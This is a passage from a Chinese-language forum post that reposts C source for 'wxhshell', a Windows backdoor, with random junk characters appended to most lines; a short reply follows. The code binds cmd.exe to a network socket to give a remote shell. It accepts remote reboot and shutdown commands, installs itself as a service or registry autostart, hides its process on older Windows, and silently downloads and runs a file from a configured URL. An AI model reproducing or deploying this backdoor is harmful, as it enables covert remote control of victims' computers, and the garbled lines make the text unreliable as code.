  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YQ$Wif:@(n  
  } v!WkPvU  
  else { {lO>i&mx  
lHI?GiB@  
    switch(cmd[0]) { GNX`~%3KYc  
  ;!:@3c  
  // 帮助 aH'=k?Of;  
  case '?': { h8 !(WO!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D:=Q)Uh0I  
    break; wQw&.)T  
  } ozUsp[W>  
  // 安装 MZWicfUy  
  case 'i': { f+V^q4  
    if(Install()) N_o|2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4S\St <  
    else aS/MlMf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m#|h22^H  
    break; n eBcS[  
    } S]g`Ds<  
  // 卸载 j<PpCL_8%  
  case 'r': { I~T~!^}U  
    if(Uninstall()) ,/Al'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %(ms74R+  
    else X*< !_3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7OdJ&Gzd  
    break; qk_YFR?R  
    } ['_W <  
  // 显示 wxhshell 所在路径  CT[CM+  
  case 'p': { H$!sK  
    char svExeFile[MAX_PATH]; /L; c -^  
    strcpy(svExeFile,"\n\r"); 'q7&MM'oS^  
      strcat(svExeFile,ExeFile); hwi$:[  
        send(wsh,svExeFile,strlen(svExeFile),0); xz*MFoE  
    break; nq 9{{oe  
    } <o: O<p@6  
  // 重启 Xu%8Q?]  
  case 'b': { a+ s%9l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $^5c8wT  
    if(Boot(REBOOT)) 2'-o'z<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RN ~pC  
    else { ppR; v  
    closesocket(wsh); L8~zQV$h  
    ExitThread(0); I!u fw\[  
    } bF c %  
    break; RCY}JH>}  
    } fK10{>E1  
  // 关机 O)D+u@RhH  
  case 'd': { @,;VMO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H:4? sR3  
    if(Boot(SHUTDOWN)) gV;9lpZ2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H|s,;1#  
    else { 5 NN`tv  
    closesocket(wsh); +P|Z1a -jB  
    ExitThread(0); 7CSd}@71\  
    } ( P\oLr9  
    break; zw}Wm4OH  
    } a]t| /Mq  
  // 获取shell wvPS0]  
  case 's': { '"]QAj?N  
    CmdShell(wsh); B j z@X  
    closesocket(wsh); 8^5@J) R8  
    ExitThread(0); m:]60koz]o  
    break; dw3H9(-lp  
  }  `s~[q  
  // 退出 u$ a7  
  case 'x': { ';KZ.D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Nx'4N`&l  
    CloseIt(wsh); DlxL:  
    break; Ybp';8V  
    } pe>[Ts`2F  
  // 离开 &b=OT%D~FU  
  case 'q': { Z>_F:1x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M&5De{LS}  
    closesocket(wsh); 2SJ|$VsLaE  
    WSACleanup(); JB9s# `  
    exit(1); nD}CQ_C  
    break; pg/SYEvsV  
        } gbT1d:T  
  } VY j pl  
  } n|) JhXQ  
p#>d1R1&  
  // 提示信息 ,`U'q|b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s/0~!0  
} &e;GoJ  
  } 8=WX`*-uH  
(dQsR sA  
  return; ]<:qMLg  
} _g%h:G&^  
hZ UnNQ  
// shell模块句柄 6a4-VX5  
int CmdShell(SOCKET sock) @0fiui_  
{ Fg^Z g\X3  
STARTUPINFO si; +W^$my)<  
ZeroMemory(&si,sizeof(si)); +.IncY8C$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @9\L|O'~?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #s0Wx47~  
PROCESS_INFORMATION ProcessInfo; cOb ,Md  
char cmdline[]="cmd"; 6'ia^om  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ae^ Idz  
  return 0; p$}1V2h;  
} #KwK``XC 4  
:za:gs0  
// 自身启动模式 ;\rKkH"K8n  
int StartFromService(void) P>qDQ1  
{ ' qN"!\  
typedef struct v<V9Z <ub  
{ Hi#f Qji  
  DWORD ExitStatus; LseS8F/q  
  DWORD PebBaseAddress; ]C5/-J,F  
  DWORD AffinityMask; O"m(C[+ [  
  DWORD BasePriority; LNI]IITx/  
  ULONG UniqueProcessId; lJdwbuB6  
  ULONG InheritedFromUniqueProcessId; xF7q9'/F  
}   PROCESS_BASIC_INFORMATION; 1wt(pkNk  
>f-*D25f%  
PROCNTQSIP NtQueryInformationProcess; 7|^5E*8/  
1Gh3o}z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f/tJ>^N5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J:G~9~V^  
"cx#6Bo|  
  HANDLE             hProcess;  :qrCqFl  
  PROCESS_BASIC_INFORMATION pbi; r"x/,!_E  
Usf7 AS=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w/Y6m.i1  
  if(NULL == hInst ) return 0; @{o3NR_  
W'f)W4D$6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i3U_G^8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ztj~Q9mu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z=[?T f  
xOBzT&  
  if (!NtQueryInformationProcess) return 0; TY]-L1$  
m$80D,3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #ByrX\  
  if(!hProcess) return 0; z-`-0@/A$  
GCv*a[8?n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EbMG9  
T Y*uK  
  CloseHandle(hProcess); @Xl/<S&  
V8+8?5'l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wfrSI:+>  
if(hProcess==NULL) return 0; D5jZ;z}  
o 12w p  
HMODULE hMod; Is#w=s}2  
char procName[255]; ;}QM#5Xdt  
unsigned long cbNeeded; ZmzYJ$:6  
2t 1u{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UwVc!Lys  
Pef$-3aP>E  
  CloseHandle(hProcess); prCr"y` M  
0qhSV B5  
if(strstr(procName,"services")) return 1; // 以服务启动 Ncsk~=[  
q+?>shqsZ  
  return 0; // 注册表启动 :Kx6|83  
} >Z!H9]f(  
2sOetmWE7  
// 主模块 [zc8f  
int StartWxhshell(LPSTR lpCmdLine) V jZx{1kCR  
{ 8bW,.to(?x  
  SOCKET wsl; iYBp"+#2  
BOOL val=TRUE; CT#u+]T  
  int port=0; KXbD7N.  
  struct sockaddr_in door; VY_<c98v  
82A[[^`  
  if(wscfg.ws_autoins) Install(); RZ GD5`n  
$x|4cW2  
port=atoi(lpCmdLine); CvB)+>oa  
X@up=%(  
if(port<=0) port=wscfg.ws_port; dXewS_7  
.|x" '3#  
  WSADATA data; xe9V'wICp(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x'hUw*  
PBY ^m+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mYw9lM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r E<Ou"  
  door.sin_family = AF_INET; :+$/B N:iO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EViQB.3w\  
  door.sin_port = htons(port); >cRE$d?  
GK8x<Aq%z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >do3*ko A  
closesocket(wsl); ZD t|g^  
return 1; o}VW%G"  
} Ct\n1T }  
O.^1r  
  if(listen(wsl,2) == INVALID_SOCKET) { NI33lp$V  
closesocket(wsl); VVVw\|JB>  
return 1; P DtLJt$  
} {j4J(dtO  
  Wxhshell(wsl); qe_59'K  
  WSACleanup(); <WGx 6{  
-wUw)gJbM  
return 0; o.M.zkP a  
mmx; Vt$i  
} . Q$/\E  
gRQV)8uh  
// 以NT服务方式启动 ylVBK{w9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =VPJ m\*V  
{ SC/V3f W,  
DWORD   status = 0; 6gN>P%n  
  DWORD   specificError = 0xfffffff; i.Jk(%c  
`vj"HhC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z3 Ro*yJU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hB 36o9|9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OF/DI)j3  
  serviceStatus.dwWin32ExitCode     = 0; mjXO}q7  
  serviceStatus.dwServiceSpecificExitCode = 0; @>4=}z_e  
  serviceStatus.dwCheckPoint       = 0; 8@Hl0{q  
  serviceStatus.dwWaitHint       = 0; Q]"u?Q]  
h Lv_ER?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gp5[H}8K  
  if (hServiceStatusHandle==0) return; A@qwD300Vo  
4E~!$Ustx  
status = GetLastError(); 04wO9L;  
  if (status!=NO_ERROR) BkcA_a:W  
{ |*[#Iii'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ds|L'7  
    serviceStatus.dwCheckPoint       = 0; <|R`N)AV;  
    serviceStatus.dwWaitHint       = 0; ~n )<L7  
    serviceStatus.dwWin32ExitCode     = status; zv[pfD7a  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'awZ-$#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |JRaskd  
    return; <$ oI  
  } ( V^C7ix:  
NP< {WL#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l7M![Ur  
  serviceStatus.dwCheckPoint       = 0; 4!^flKZQ  
  serviceStatus.dwWaitHint       = 0; oNK-^N?-T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >wJt# ZB  
}  ZXL  
)mvD2]fK  
// 处理NT服务事件,比如:启动、停止 Tyk\l>S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]<B@g($  
{ * M,'F^E2  
switch(fdwControl) 2,.;Mdl  
{ e~iPN.'1  
case SERVICE_CONTROL_STOP: PShluhY  
  serviceStatus.dwWin32ExitCode = 0; _8eN^oc%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZclZD{%8J  
  serviceStatus.dwCheckPoint   = 0; 6y d/3k  
  serviceStatus.dwWaitHint     = 0; yRGv{G[59  
  { 'X@>U6s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IQya{e  
  } @h$4Mt7N  
  return; F4`5z)<*  
case SERVICE_CONTROL_PAUSE: ]f< H?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %tC3@S  
  break; ;;; {<GEQ  
case SERVICE_CONTROL_CONTINUE: -D-]tL6w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \~bx%VWW4  
  break; X!/o7<  
case SERVICE_CONTROL_INTERROGATE: Z;4pI@ u  
  break; ->29Tns  
}; sn6:\X<[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A(dWA e,  
} lX*IEAc  
,OilGTQ#  
// 标准应用程序主函数 uBXl ltU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pk5W!K  
{ M);@XcS  
U6M3,"?  
// 获取操作系统版本 k~+(X|!5w  
OsIsNt=GetOsVer(); }'.k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pcl '!8&7  
nm.~~h+8M  
  // 从命令行安装 r"uOf;m  
  if(strpbrk(lpCmdLine,"iI")) Install(); e6JT|>9A7  
n 0*a.  
  // 下载执行文件 f+o%N  
if(wscfg.ws_downexe) { c 6"hk_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fs|aH-9\  
  WinExec(wscfg.ws_filenam,SW_HIDE); lmjoSINy  
} @ 4%a  
3+` <2TP  
if(!OsIsNt) { "spAYk\  
// 如果时win9x,隐藏进程并且设置为注册表启动 5^W},:3R  
HideProc(); z/&2Se:  
StartWxhshell(lpCmdLine); 8p)*;Y  
} ds9L4zfO  
else +o94w^'^$b  
  if(StartFromService()) Z F&aV?  
  // 以服务方式启动 a&*fk?o  
  StartServiceCtrlDispatcher(DispatchTable); 43p0k&;-7  
else XKEd~2h<y  
  // 普通方式启动 )1!jv!  
  StartWxhshell(lpCmdLine); Ous_269cM  
5C^oqUZ  
return 0; {vL4:K  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五